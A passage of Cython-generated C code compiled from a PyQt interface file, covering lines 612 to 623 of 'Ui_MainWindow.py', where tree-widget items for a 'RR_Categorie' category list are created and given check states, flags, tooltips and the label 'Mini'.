__pyx_n_s_setCheckState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Unchecked); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_int_0, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_int_0, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 612, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":613 * item_1.setWhatsThis(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) # <<<<<<<<<<<<<< * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setFlags); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_ItemIsSelectable); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_ItemIsUserCheckable); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyNumber_Or(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ItemIsEnabled); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Or(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 613, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":614 * item_1.setCheckState(0, QtCore.Qt.Unchecked) * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) # <<<<<<<<<<<<<< * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") * item_0.setToolTip(0, "") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QTreeWidgetItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 614, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF_SET(__pyx_v_item_0, __pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":615 * item_1.setFlags(QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled) * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") # <<<<<<<<<<<<<< * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_topLevelItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__393, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__394, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 615, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":616 * item_0 = QtWidgets.QTreeWidgetItem(self.RR_Categorie) * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") * item_0.setToolTip(0, "") # <<<<<<<<<<<<<< * item_0.setStatusTip(0, "") * item_0.setWhatsThis(0, "") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 616, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__395, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 616, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":617 * self.RR_Categorie.topLevelItem(1).setText(0, "Mini") * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_0.setWhatsThis(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 617, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__396, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 617, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":618 * item_0.setToolTip(0, "") * item_0.setStatusTip(0, "") * item_0.setWhatsThis(0, "") # <<<<<<<<<<<<<< * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_1 = QtWidgets.QTreeWidgetItem(item_0) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setWhatsThis); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 618, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__397, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 618, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":619 * item_0.setStatusTip(0, "") * item_0.setWhatsThis(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) # <<<<<<<<<<<<<< * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_0, __pyx_n_s_setCheckState); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Unchecked); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_0, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_int_0, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 619, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":620 * item_0.setWhatsThis(0, "") * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_1 = QtWidgets.QTreeWidgetItem(item_0) # <<<<<<<<<<<<<< * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") * item_1.setToolTip(0, "") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTreeWidgetItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_v_item_0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_item_0}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_v_item_0}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_INCREF(__pyx_v_item_0); __Pyx_GIVEREF(__pyx_v_item_0); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_item_0); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 620, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_item_1, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":621 * item_0.setCheckState(0, QtCore.Qt.Unchecked) * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") # <<<<<<<<<<<<<< * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Categorie); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_topLevelItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__398, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_child); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__399, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__400, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 621, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":622 * item_1 = QtWidgets.QTreeWidgetItem(item_0) * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") * item_1.setToolTip(0, "") # <<<<<<<<<<<<<< * item_1.setStatusTip(0, "") * item_1.setCheckState(0, QtCore.Qt.Unchecked) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 622, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__401, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 622, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":623 * self.RR_Categorie.topLevelItem(1).child(0).setText(0, "Mini") * item_1.setToolTip(0, "") * item_1.setStatusTip(0, "") # <<<<<<<<<<<<<< * item_1.setCheckState(0, QtCore.Qt.Unchecked) * self.formLayout_3.setWidget(25, QtWidgets.QFormLayout.FieldRole, self.RR_Categorie) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_item_1, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 623, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__402, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 623, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; 